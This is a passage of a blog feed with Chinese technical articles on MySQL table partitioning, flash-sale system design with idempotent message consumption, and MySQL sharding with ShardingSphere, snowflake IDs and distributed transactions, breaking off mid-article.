class="keyword">DECLARE</span> CONTINUE HANDLER <span class="keyword">FOR</span> <span class="keyword">NOT</span> FOUND <span class="keyword">SET</span> done <span class="operator">=</span> <span class="literal">TRUE</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">OPEN</span> cur;</span><br><span class="line">    read_loop: LOOP</span><br><span class="line">        <span class="keyword">FETCH</span> cur <span class="keyword">INTO</span> partition_name;</span><br><span class="line">        IF done <span class="keyword">THEN</span></span><br><span class="line">            LEAVE read_loop;</span><br><span class="line">        <span class="keyword">END</span> IF;</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">SET</span> <span class="variable">@sql</span> <span class="operator">=</span> CONCAT(<span class="string">&#x27;ALTER TABLE system_logs DROP PARTITION &#x27;</span>, partition_name);</span><br><span class="line">        <span class="keyword">PREPARE</span> stmt <span class="keyword">FROM</span> <span class="variable">@sql</span>;</span><br><span class="line">        <span class="keyword">EXECUTE</span> stmt;</span><br><span class="line">        <span class="keyword">DEALLOCATE</span> <span class="keyword">PREPARE</span> stmt;</span><br><span class="line">    <span class="keyword">END</span> LOOP;</span><br><span class="line">    <span class="keyword">CLOSE</span> cur;</span><br><span class="line"><span class="keyword">END</span> <span class="operator">/</span><span class="operator">/</span></span><br><span class="line">DELIMITER ;</span><br></pre></td></tr></table></figure><h2 id="六、分区表性能优化"><a href="#六、分区表性能优化" class="headerlink" title="六、分区表性能优化"></a>六、分区表性能优化</h2><p>#</p><h2 id="6-1-选择合适的分区数"><a href="#6-1-选择合适的分区数" class="headerlink" title="6.1 选择合适的分区数"></a>6.1 选择合适的分区数</h2><ul><li>建议分区数：10-100</li><li>过多分区增加管理开销</li><li>过少分区失去分区意义</li></ul><p>#</p><h2 id="6-2-确保查询能裁剪"><a href="#6-2-确保查询能裁剪" class="headerlink" title="6.2 确保查询能裁剪"></a>6.2 确保查询能裁剪</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 能裁剪（直接比较分区键）</span></span><br><span class="line"><span class="keyword">WHERE</span> create_time <span class="operator">&gt;=</span> <span class="string">&#x27;2024-01-01&#x27;</span> <span class="keyword">AND</span> create_time <span class="operator">&lt;</span> <span class="string">&#x27;2024-02-01&#x27;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- 不能裁剪（函数操作）</span></span><br><span class="line"><span class="keyword">WHERE</span> <span class="type">DATE</span>(create_time) <span class="operator">=</span> <span class="string">&#x27;2024-01-01&#x27;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- 能裁剪（等效写法）</span></span><br><span class="line"><span class="keyword">WHERE</span> create_time <span class="operator">&gt;=</span> <span class="string">&#x27;2024-01-01 00:00:00&#x27;</span> </span><br><span class="line">  <span class="keyword">AND</span> create_time <span class="operator">&lt;</span> <span class="string">&#x27;2024-01-02 00:00:00&#x27;</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="6-3-分区键选择"><a href="#6-3-分区键选择" class="headerlink" title="6.3 分区键选择"></a>6.3 分区键选择</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 好的选择：查询条件中最常用的列</span></span><br><span class="line"><span class="comment">-- 日志表：按时间分区</span></span><br><span class="line"><span class="comment">-- 订单表：按用户ID哈希分区或按时间RANGE分区</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- 不好的选择：经常更新的列</span></span><br><span class="line"><span class="comment">-- 避免选择会被UPDATE的列作为分区键</span></span><br></pre></td></tr></table></figure><h2 id="七、分区表监控"><a href="#七、分区表监控" class="headerlink" title="七、分区表监控"></a>七、分区表监控</h2><p>#</p><h2 id="7-1-查看分区信息"><a href="#7-1-查看分区信息" class="headerlink" title="7.1 查看分区信息"></a>7.1 查看分区信息</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 查看表的分区情况</span></span><br><span class="line"><span class="keyword">SELECT</span> </span><br><span class="line">    partition_name,</span><br><span class="line">    partition_method,</span><br><span class="line">    partition_expression,</span><br><span class="line">    table_rows,</span><br><span class="line">    data_length,</span><br><span class="line">    index_length</span><br><span class="line"><span class="keyword">FROM</span> information_schema.partitions</span><br><span class="line"><span class="keyword">WHERE</span> table_name <span class="operator">=</span> <span class="string">&#x27;system_logs&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> partition_name;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 查看分区裁剪情况</span></span><br><span class="line">EXPLAIN PARTITIONS <span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> system_logs <span class="keyword">WHERE</span> create_time <span class="operator">&gt;=</span> <span class="string">&#x27;2024-01-01&#x27;</span>;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="7-2-分区大小监控"><a href="#7-2-分区大小监控" class="headerlink" title="7.2 分区大小监控"></a>7.2 分区大小监控</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> </span><br><span class="line">    partition_name,</span><br><span class="line">    ROUND(data_length <span class="operator">/</span> <span class="number">1024</span> <span class="operator">/</span> <span class="number">1024</span>, <span class="number">2</span>) <span class="keyword">AS</span> data_mb,</span><br><span class="line">    ROUND(index_length <span class="operator">/</span> <span class="number">1024</span> <span class="operator">/</span> <span class="number">1024</span>, <span class="number">2</span>) <span class="keyword">AS</span> index_mb,</span><br><span class="line">    table_rows</span><br><span class="line"><span class="keyword">FROM</span> information_schema.partitions</span><br><span class="line"><span class="keyword">WHERE</span> table_name <span class="operator">=</span> <span class="string">&#x27;system_logs&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> data_length <span class="keyword">DESC</span>;</span><br></pre></td></tr></table></figure><h2 id="八、分区表-vs-分库分表选择"><a href="#八、分区表-vs-分库分表选择" class="headerlink" title="八、分区表 vs 分库分表选择"></a>八、分区表 vs 分库分表选择</h2><table><thead><tr><th>场景</th><th>推荐方案</th></tr></thead><tbody><tr><td>单表5000万-5亿数据</td><td>分区表</td></tr><tr><td>单表超过5亿数据</td><td>分库分表</td></tr><tr><td>主要按时间查询</td><td>分区表（RANGE）</td></tr><tr><td>需要跨实例扩展</td><td>分库分表</td></tr><tr><td>简单归档需求</td><td>分区表</td></tr><tr><td>超高并发写入</td><td>分库分表</td></tr></tbody></table><h2 id="九、总结"><a href="#九、总结" class="headerlink" title="九、总结"></a>九、总结</h2><table><thead><tr><th>分区类型</th><th>适用场景</th><th>特点</th></tr></thead><tbody><tr><td>RANGE</td><td>时间序列数据</td><td>方便按时间归档</td></tr><tr><td>LIST</td><td>离散分类数据</td><td>按地区、状态等分组</td></tr><tr><td>HASH</td><td>均匀分布</td><td>避免热点</td></tr><tr><td>KEY</td><td>简单均匀分布</td><td>MySQL自动哈希</td></tr></tbody></table><p>分区表的核心价值：</p><ol><li><strong>透明性</strong>：应用无需改造</li><li><strong>查询优化</strong>：分区裁剪减少扫描</li><li><strong>维护便利</strong>：快速删除和归档</li><li><strong>适度扩展</strong>：单实例内的水平扩展</li></ol><p>使用分区表前，务必确认：</p><ul><li>分区键选择合理</li><li>查询能利用分区裁剪</li><li>了解并接受分区限制</li><li>建立分区维护机制</li></ul><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>索引设计的原则：最左前缀原则、避免索引列参与计算、选择合适的索引类型</p></li><li><p>SQL 优化的方法：使用 EXPLAIN 分析执行计划、避免 SELECT *、优化 JOIN</p></li><li><p>事务隔离级别的选择：根据业务需求选择合适的级别</p></li><li><p>常见的锁问题：行锁、表锁、死锁的处理</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>MySQL 优化是一个持续的过程，需要结合业务特点和数据量来调整。在实际项目中，定期分析慢查询日志、优化索引、调整配置参数，都能提升数据库性能。</p>]]></content>
      
      
      <categories>
          
          <category> MySQL </category>
          
      </categories>
      
      
        <tags>
            
            <tag> MySQL </tag>
            
            <tag> 数据库 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>秒杀系统的核心设计思路</title>
      <link href="//miao-sha-xi-tong-de-he-xin-she-ji-si-lu/"/>
      <url>//miao-sha-xi-tong-de-he-xin-she-ji-si-lu/</url>
      
        <content type="html"><![CDATA[<h1 id="秒杀系统的核心设计思路"><a href="#秒杀系统的核心设计思路" class="headerlink" title="秒杀系统的核心设计思路"></a>秒杀系统的核心设计思路</h1><p>秒杀系统的核心在于限流、削峰和防重。本文讲它的整体设计思路。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 系统设计 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 架构 </tag>
            
            <tag> 系统设计 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>MySQL分库分表策略</title>
      <link href="//mysql-sharding-strategy/"/>
      <url>//mysql-sharding-strategy/</url>
      
        <content type="html"><![CDATA[<h1 id="MySQL分库分表策略"><a href="#MySQL分库分表策略" class="headerlink" title="MySQL分库分表策略"></a>MySQL分库分表策略</h1><p>MySQL 是业务系统中最常见的数据库，但用好它并不容易。索引设计、SQL 优化、事务处理都是日常开发中需要关注的点。本文从实际场景出发，讲常见问题和解决思路。</p><h2 id="一、为什么需要分库分表"><a href="#一、为什么需要分库分表" class="headerlink" title="一、为什么需要分库分表"></a>一、为什么需要分库分表</h2><p>#</p><h2 id="1-1-单库瓶颈"><a href="#1-1-单库瓶颈" class="headerlink" title="1.1 单库瓶颈"></a>1.1 单库瓶颈</h2><table><thead><tr><th>瓶颈类型</th><th>具体表现</th><th>临界值（参考）</th></tr></thead><tbody><tr><td>数据量</td><td>查询和索引维护变慢</td><td>5000万-1亿行</td></tr><tr><td>并发连接</td><td>连接数耗尽</td><td>1000-2000连接</td></tr><tr><td>写入性能</td><td>写入延迟增加</td><td>5000-10000 TPS</td></tr><tr><td>存储容量</td><td>磁盘空间不足</td><td>1-2TB</td></tr></tbody></table><p>#</p><h2 id="1-2-分库-vs-分表"><a href="#1-2-分库-vs-分表" class="headerlink" title="1.2 分库 vs 分表"></a>1.2 分库 vs 分表</h2><p><strong>分表</strong>：解决单表数据量过大问题</p><ul><li>同一数据库中，表拆分为多张结构相同的表</li><li>user → user_0, user_1, user_2</li></ul><p><strong>分库</strong>：解决单库性能瓶颈</p><ul><li>数据分布到多个数据库实例</li><li>每个库可以独立部署在不同服务器</li></ul><p><strong>分库分表</strong>：同时解决容量和性能问题</p><h2 id="二、拆分策略"><a href="#二、拆分策略" class="headerlink" title="二、拆分策略"></a>二、拆分策略</h2><p>#</p><h2 id="2-1-垂直拆分"><a href="#2-1-垂直拆分" class="headerlink" title="2.1 垂直拆分"></a>2.1 垂直拆分</h2><p><strong>垂直分库</strong>：按业务模块拆分</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">数据库拆分前：</span><br><span class="line">  一个数据库包含：user, order, product, log...</span><br><span class="line"></span><br><span class="line">垂直分库后：</span><br><span class="line">  用户库：user, user_profile, user_address</span><br><span class="line">  订单库：order, order_item, payment</span><br><span class="line">  商品库：product, category, inventory</span><br></pre></td></tr></table></figure><p><strong>垂直分表</strong>：按字段拆分</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">表拆分前：</span><br><span class="line">  user表：id, name, avatar, bio, settings, ...（100+字段）</span><br><span class="line"></span><br><span class="line">垂直分表后：</span><br><span class="line">  user_basic：id, name, phone, email（常用字段）</span><br><span class="line">  user_detail：id, avatar, bio, settings（大字段/不常用）</span><br><span class="line">  user_ext：id, ext_json（扩展字段）</span><br></pre></td></tr></table></figure><p><strong>适用场景</strong>：</p><ul><li>垂直分库：业务耦合度低，可以独立演进</li><li>垂直分表：表字段过多，冷热数据分离</li></ul><p>#</p><h2 id="2-2-水平拆分"><a href="#2-2-水平拆分" class="headerlink" title="2.2 水平拆分"></a>2.2 水平拆分</h2><p><strong>水平分表</strong>：同一库内分多张表</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">user表 → user_0, user_1, user_2, ... user_15</span><br></pre></td></tr></table></figure><p><strong>水平分库</strong>：数据分布到多个库</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">DB0: user_0, user_1, user_2, user_3</span><br><span class="line">DB1: user_4, user_5, user_6, user_7</span><br><span class="line">DB2: user_8, user_9, user_10, user_11</span><br><span class="line">DB3: user_12, user_13, user_14, user_15</span><br></pre></td></tr></table></figure><p><strong>适用场景</strong>：</p><ul><li>单表数据量超过5000万</li><li>写入性能达到瓶颈</li></ul><h2 id="三、分片算法"><a href="#三、分片算法" class="headerlink" title="三、分片算法"></a>三、分片算法</h2><p>#</p><h2 id="3-1-哈希取模"><a href="#3-1-哈希取模" class="headerlink" title="3.1 哈希取模"></a>3.1 哈希取模</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 根据userId分片</span></span><br><span class="line"><span class="type">int</span> <span class="variable">shard</span> <span class="operator">=</span> userId % <span class="number">16</span>;  <span class="comment">// 16个分片</span></span><br><span class="line"><span class="type">String</span> <span class="variable">tableName</span> <span class="operator">=</span> <span class="string">&quot;user_&quot;</span> + shard;</span><br></pre></td></tr></table></figure><p><strong>优点</strong>：</p><ul><li>数据分布均匀</li><li>写入分散，避免热点</li></ul><p><strong>缺点</strong>：</p><ul><li>扩容需要迁移数据（2倍扩容）</li><li>无法范围查询</li></ul><p>#</p><h2 id="3-2-范围分片"><a href="#3-2-范围分片" class="headerlink" title="3.2 范围分片"></a>3.2 范围分片</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 按时间或ID范围</span></span><br><span class="line"><span class="keyword">if</span> (userId &gt;= <span class="number">0</span> &amp;&amp; userId &lt; <span class="number">1000000</span>) &#123;</span><br><span class="line">    table = <span class="string">&quot;user_0&quot;</span>;</span><br><span class="line">&#125; <span class="keyword">else</span> <span class="keyword">if</span> (userId &lt; <span class="number">2000000</span>) &#123;</span><br><span class="line">    table = <span class="string">&quot;user_1&quot;</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>优点</strong>：</p><ul><li>扩容简单，增加新分片即可</li><li>支持范围查询</li></ul><p><strong>缺点</strong>：</p><ul><li>可能造成数据倾斜（新数据集中在最后一个分片）</li><li>热点问题</li></ul><p>#</p><h2 id="3-3-一致性哈希"><a href="#3-3-一致性哈希" class="headerlink" title="3.3 一致性哈希"></a>3.3 一致性哈希</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 使用TreeMap实现一致性哈希</span></span><br><span class="line">TreeMap&lt;Long, String&gt; virtualNodes = <span class="keyword">new</span> <span class="title class_">TreeMap</span>&lt;&gt;();</span><br><span class="line"></span><br><span class="line"><span class="comment">// 每个物理节点创建160个虚拟节点</span></span><br><span class="line"><span class="keyword">for</span> (String node : physicalNodes) &#123;</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; <span class="number">160</span>; i++) &#123;</span><br><span class="line">        <span class="type">long</span> <span class="variable">hash</span> <span class="operator">=</span> hash(node + <span class="string">&quot;#&quot;</span> + i);</span><br><span class="line">        virtualNodes.put(hash, node);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 查找数据所属节点</span></span><br><span class="line"><span class="type">long</span> <span class="variable">hash</span> <span class="operator">=</span> hash(key);</span><br><span class="line">Map.Entry&lt;Long, String&gt; entry = virtualNodes.ceilingEntry(hash);</span><br><span class="line"><span class="keyword">if</span> (entry == <span class="literal">null</span>) &#123;</span><br><span class="line">    entry = virtualNodes.firstEntry();</span><br><span class="line">&#125;</span><br><span class="line"><span class="type">String</span> <span class="variable">node</span> <span class="operator">=</span> entry.getValue();</span><br></pre></td></tr></table></figure><p><strong>优点</strong>：</p><ul><li>扩容时只影响少量数据</li></ul><p><strong>缺点</strong>：</p><ul><li>实现复杂</li><li>虚拟节点增加内存开销</li></ul><p>#</p><h2 id="3-4-分片算法对比"><a href="#3-4-分片算法对比" class="headerlink" title="3.4 分片算法对比"></a>3.4 分片算法对比</h2><table><thead><tr><th>算法</th><th>数据分布</th><th>扩容成本</th><th>范围查询</th><th>热点问题</th></tr></thead><tbody><tr><td>哈希取模</td><td>均匀</td><td>高</td><td>不支持</td><td>无</td></tr><tr><td>范围分片</td><td>可能倾斜</td><td>低</td><td>支持</td><td>可能有</td></tr><tr><td>一致性哈希</td><td>较均匀</td><td>低</td><td>不支持</td><td>无</td></tr></tbody></table><p>#</p><h2 id="3-5-分片键选择"><a href="#3-5-分片键选择" class="headerlink" title="3.5 分片键选择"></a>3.5 分片键选择</h2><p><strong>选择原则</strong>：</p><ol><li><strong>高频查询条件</strong>：大部分查询都能命中分片键</li><li><strong>数据均匀</strong>：避免数据倾斜</li><li><strong>业务无关</strong>：尽量不使用业务含义强的字段</li></ol><p><strong>常见选择</strong>：</p><ul><li>用户ID</li><li>订单ID（雪花算法）</li><li>租户ID（SaaS系统）</li></ul><h2 id="四、ShardingSphere实践"><a href="#四、ShardingSphere实践" class="headerlink" title="四、ShardingSphere实践"></a>四、ShardingSphere实践</h2><p>#</p><h2 id="4-1-引入依赖"><a href="#4-1-引入依赖" class="headerlink" title="4.1 引入依赖"></a>4.1 引入依赖</h2><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.apache.shardingsphere<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>shardingsphere-jdbc-core<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">version</span>&gt;</span>5.4.0<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="4-2-配置分库分表"><a href="#4-2-配置分库分表" class="headerlink" title="4.2 配置分库分表"></a>4.2 配置分库分表</h2><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># application-sharding.yml</span></span><br><span class="line"><span class="attr">dataSources:</span></span><br><span class="line">  <span class="attr">ds_0:</span></span><br><span class="line">    <span class="attr">url:</span> <span class="string">jdbc:mysql://localhost:3306/db0</span></span><br><span class="line">    <span class="attr">username:</span> <span class="string">root</span></span><br><span class="line">    <span class="attr">password:</span> <span class="string">password</span></span><br><span class="line">  <span class="attr">ds_1:</span></span><br><span class="line">    <span class="attr">url:</span> <span class="string">jdbc:mysql://localhost:3306/db1</span></span><br><span class="line">    <span class="attr">username:</span> <span class="string">root</span></span><br><span class="line">    <span class="attr">password:</span> <span class="string">password</span></span><br><span class="line"></span><br><span class="line"><span class="attr">rules:</span></span><br><span class="line"><span class="bullet">-</span> <span class="type">!SHARDING</span></span><br><span class="line">  <span class="attr">tables:</span></span><br><span class="line">    <span class="attr">user:</span></span><br><span class="line">      <span class="attr">actualDataNodes:</span> <span class="string">ds_$&#123;0..1&#125;.user_$&#123;0..15&#125;</span></span><br><span class="line">      <span class="attr">tableStrategy:</span></span><br><span class="line">        <span class="attr">standard:</span></span><br><span class="line">          <span class="attr">shardingColumn:</span> <span class="string">user_id</span></span><br><span class="line">          <span class="attr">shardingAlgorithmName:</span> <span class="string">user_table_hash</span></span><br><span class="line">      <span class="attr">databaseStrategy:</span></span><br><span class="line">        <span class="attr">standard:</span></span><br><span class="line">          <span class="attr">shardingColumn:</span> <span class="string">user_id</span></span><br><span class="line">          <span class="attr">shardingAlgorithmName:</span> <span class="string">user_database_hash</span></span><br><span class="line">  <span class="attr">shardingAlgorithms:</span></span><br><span class="line">    <span class="attr">user_table_hash:</span></span><br><span class="line">      <span class="attr">type:</span> <span class="string">INLINE</span></span><br><span class="line">      <span class="attr">props:</span></span><br><span class="line">        <span class="attr">algorithm-expression:</span> <span class="string">user_$&#123;user_id</span> <span class="string">%</span> <span class="number">16</span><span class="string">&#125;</span></span><br><span class="line">    <span class="attr">user_database_hash:</span></span><br><span class="line">      <span class="attr">type:</span> <span class="string">INLINE</span></span><br><span class="line">      <span class="attr">props:</span></span><br><span class="line">        <span class="attr">algorithm-expression:</span> <span class="string">ds_$&#123;user_id</span> <span class="string">%</span> <span class="number">2</span><span class="string">&#125;</span></span><br><span class="line">  <span class="attr">keyGenerators:</span></span><br><span class="line">    <span class="attr">snowflake:</span></span><br><span class="line">      <span class="attr">type:</span> <span class="string">SNOWFLAKE</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="4-3-代码中使用"><a href="#4-3-代码中使用" class="headerlink" title="4.3 代码中使用"></a>4.3 代码中使用</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> UserMapper userMapper;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> User <span class="title function_">getUser</span><span class="params">(Long userId)</span> &#123;</span><br><span class="line">        <span class="comment">// ShardingSphere自动路由到对应分片</span></span><br><span class="line">        <span class="keyword">return</span> userMapper.selectById(userId);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">createUser</span><span class="params">(User user)</span> &#123;</span><br><span class="line">        <span class="comment">// 使用雪花算法生成分布式ID</span></span><br><span class="line">        user.setUserId(IdWorker.getId());</span><br><span class="line">        userMapper.insert(user);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="4-4-绑定表"><a href="#4-4-绑定表" class="headerlink" title="4.4 绑定表"></a>4.4 绑定表</h2><p>具有关联关系的表使用相同分片策略：</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">bindingTables:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">order,order_item</span></span><br></pre></td></tr></table></figure><p>这样order和order_item会路由到相同的分片，避免跨库JOIN。</p><h2 id="五、分库分表后的问题"><a href="#五、分库分表后的问题" class="headerlink" title="五、分库分表后的问题"></a>五、分库分表后的问题</h2><p>#</p><h2 id="5-1-分布式主键"><a href="#5-1-分布式主键" class="headerlink" title="5.1 分布式主键"></a>5.1 分布式主键</h2><p><strong>方案一：雪花算法</strong></p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">SnowflakeIdWorker</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> <span class="type">long</span> workerId;      <span class="comment">// 机器ID</span></span><br><span class="line">    <span class="keyword">private</span> <span class="type">long</span> datacenterId;  <span class="comment">// 数据中心ID</span></span><br><span class="line">    <span class="keyword">private</span> <span class="type">long</span> <span class="variable">sequence</span> <span class="operator">=</span> <span class="number">0</span>;  <span class="comment">// 序列号</span></span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">synchronized</span> <span class="type">long</span> <span class="title function_">nextId</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="type">long</span> <span class="variable">timestamp</span> <span class="operator">=</span> System.currentTimeMillis();</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">if</span> (timestamp &lt; lastTimestamp) &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">RuntimeException</span>(<span class="string">&quot;Clock moved backwards&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">if</span> (timestamp == lastTimestamp) &#123;</span><br><span class="line">            sequence = (sequence + <span class="number">1</span>) &amp; <span class="number">4095</span>;  <span class="comment">// 12位序列号</span></span><br><span class="line">            <span class="keyword">if</span> (sequence == <span class="number">0</span>) &#123;</span><br><span class="line">                timestamp = tilNextMillis(lastTimestamp);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            sequence = <span class="number">0</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        lastTimestamp = timestamp;</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">return</span> ((timestamp - EPOCH) &lt;&lt; <span class="number">22</span>)</span><br><span class="line">             | (datacenterId &lt;&lt; <span class="number">17</span>)</span><br><span class="line">             | (workerId &lt;&lt; <span class="number">12</span>)</span><br><span class="line">             | sequence;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>方案二：号段模式</strong></p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 发号器表</span></span><br><span class="line"><span class="keyword">CREATE TABLE</span> id_generator (</span><br><span class="line">    biz_tag <span class="type">VARCHAR</span>(<span class="number">32</span>) <span class="keyword">PRIMARY KEY</span>,</span><br><span class="line">    max_id <span class="type">BIGINT</span> <span class="keyword">NOT NULL</span>,</span><br><span class="line">    step <span class="type">INT</span> <span class="keyword">NOT NULL</span>,</span><br><span class="line">    description <span class="type">VARCHAR</span>(<span class="number">255</span>)</span><br><span class="line">);</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 每次从数据库取一段ID缓存在内存中</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="5-2-跨分片查询"><a href="#5-2-跨分片查询" class="headerlink" title="5.2 跨分片查询"></a>5.2 跨分片查询</h2><p><strong>分页查询问题</strong>：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 原SQL</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> <span class="keyword">user</span> <span class="keyword">ORDER</span> <span class="keyword">BY</span> create_time LIMIT <span class="number">100000</span>, <span class="number">10</span>;</span><br></pre></td></tr></table></figure><p>分片后需要：</p><ol><li>在每个分片执行LIMIT 100000, 10</li><li>汇总结果排序</li><li>取最终的10条</li></ol><p><strong>优化方案</strong>：</p><ul><li>限制深分页</li><li>使用游标分页（每次带查询条件）</li><li>建立全局索引表</li></ul><p>#</p><h2 id="5-3-跨分片JOIN"><a href="#5-3-跨分片JOIN" class="headerlink" title="5.3 跨分片JOIN"></a>5.3 跨分片JOIN</h2><p><strong>问题</strong>：分片键不同的表JOIN需要跨库查询</p><p><strong>解决方案</strong>：</p><ol><li><strong>绑定表</strong>：关联表使用相同分片策略</li><li><strong>字段冗余</strong>：在需要JOIN的表中冗余字段</li><li><strong>全局表</strong>：小表在每个分片都存一份</li><li><strong>应用层组装</strong>：分别查询后在代码中JOIN</li></ol><p>#</p><h2 id="5-4-事务一致性"><a href="#5-4-事务一致性" class="headerlink" title="5.4 事务一致性"></a>5.4 事务一致性</h2><p><strong>问题</strong>：跨分片事务无法使用本地事务</p><p><strong>解决方案</strong>：</p><ol><li><strong>最终一致性</strong>：使用消息队列</li><li><strong>Seata分布式事务</strong></li><li><strong>Saga模式</strong>：补偿事务</li><li><strong>避免跨分片事务</strong>：通过业务设计规避</li></ol><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// Seata分布式事务示例</span></span><br><span class="line"><span class="meta">@GlobalTransactional</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">createOrder</span><span class="params">(Order order)</span> &#123;</span><br><span class="line">    <span class="comment">// 操作订单库</span></span><br><span class="line">    orderMapper.insert(order);</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 操作库存库</span></span><br><span class="line">    inventoryService.deduct(order.getProductId(), order.getQuantity());</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 操作用户库</span></span><br><span class="line">    userService.deductBalance(order.getUserId(), order.getAmount());</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="5-5-数据迁移"><a href="#5-5-数据迁移" class="headerlink" title="5.5 数据迁移"></a>5.5 数据迁移</h2><p><strong>平滑迁移方案</strong>：</p><ol><li><strong>双写阶段</strong>：应用同时写入旧库和新分片</li><li><strong>数据同步</strong>：使用 Canal 